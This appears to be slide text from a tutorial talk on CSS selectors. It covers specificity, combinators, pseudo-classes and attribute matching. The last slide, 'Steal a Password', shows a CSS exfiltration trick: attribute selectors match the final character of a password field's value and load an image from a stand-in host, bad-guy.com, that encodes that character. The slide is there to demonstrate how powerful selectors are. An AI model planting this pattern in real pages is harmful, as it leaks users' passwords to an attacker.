What Are CSS Selectors?

Universal

* {
  /*
   * selects any element
   */
}

Tag

p {
  /*
   * selects all paragraph tags
   */
}

a {
  /*
   * selects all anchor tags
   */
}

Class

.menu {
  /*
   * selects any element with the class `menu`
   */
}

ID

#footer {
  /*
   * selects the element with the id `footer`
   */
}

Attribute

[type="email"] {
  /*
   * selects any element with the
   * `type` attribute `email`
   */
}

[alt] {
  /*
   * selects any element with an
   * `alt` attribute
   */
}

Pseudo-elements

.clearfix::after {
  /*
   * selects the pseudo-element at the end
   * of `.clearfix`
   */
}

::placeholder {
  /*
   * selects the placeholder in an input
   */
}

Pseudo-classes

input:focus {
  /*
   * selects inputs when they have focus
   */
}

a:hover {
  /*
   * selects anchors when they're hovered
   */
}

Why Do Some Selectors Override Others?

Specificity!

Specificity: TL;DR

• *
• HTML tags, pseudo-elements
• .class, [attribute], pseudo-classes
• #id

But also…

.compound.selectors

.complex .selectors

Calculating Specificity

Calculating Specificity

• *: 0,0,0,0
• Tag: 0,0,0,1
• Class: 0,0,1,0
• ID: 0,1,0,0
• Inline: 1,0,0,0

Blow It All Away

!important

Only if you really know what you're doing…

How Can I Combine Selectors?

Compound

Finds a single element that matches all conditions of the selector

a.link:hover

Specificity: 0,0,2,1

Descendant

Finds any matching element in the parent, no matter how deeply nested

.post-body ul

Specificity: 0,0,1,1

Child: >

Finds any matching element nested one level deep inside the parent

#mobile-nav > a

Specificity: 0,1,0,1

Adjacent Sibling: +

Finds a matching sibling element immediately after the first element

.site-header + main

Specificity: 0,0,1,1

General Sibling: ~

Finds any matching sibling after the first element

h1 ~ p

Specificity: 0,0,0,2

Can I Use a Selector to Get Specific ELements in a Group?

For sure!

• :first-child
• :nth-child(2)
• :last-child
• :nth-last-child(odd)

For sure!

• :first-of-type
• :nth-of-type(4n)
• :last-of-type
• :nth-last-of-type(-n+3)

Use Cases

Margins inside Padded Containers

Style Table Columns & Rows

Style a Drop Cap in an Article's First Paragraph

Are There Selectors for Styling Different Interactive States?

You betcha!

• :hover
• :active
• :focus
• :link
• :visited

You betcha!

• :target
• :checked
• :disabled
• :invalid
• :valid

Use Cases

Custom Focus Style for Keyboard Nav

Highlight Targeted Element

HTML5 Form Validation

Can I Use a regex selector to find things?

Kind of.

• Strict match: [attr="string"]
• Begins with: [attr^="string"]
• Ends with: [attr$="string"]
• Contains anywhere: [attr*="string"]

Kind of.

• Contains in a space-separated list: [attr~="string"]
• Contains value or value followed by -: [attr|="string"]
• Case insensitive match: [attr*="String" i]

Use Cases

Download Icons for File Types

Debug Inaccessible Images

Style Internal/External Links Differently

Ok, Impress Me! How Complicated Can Selectors Really Get?

Find the Number of Elements in a Container

.nav-item:first-child:nth-last-child(4) {
  &,
  & ~ * {
    /*
     * Styles for when there are
     * 4 nav-items
     */
  }
}

Codepen

Steal a Password

[type="password"][value$="a"] {
  background-image:
    url("https://bad-guy.com/password/a");
}

[type="password"][value$="b"] {
  background-image:
    url("https://bad-guy.com/password/b");
}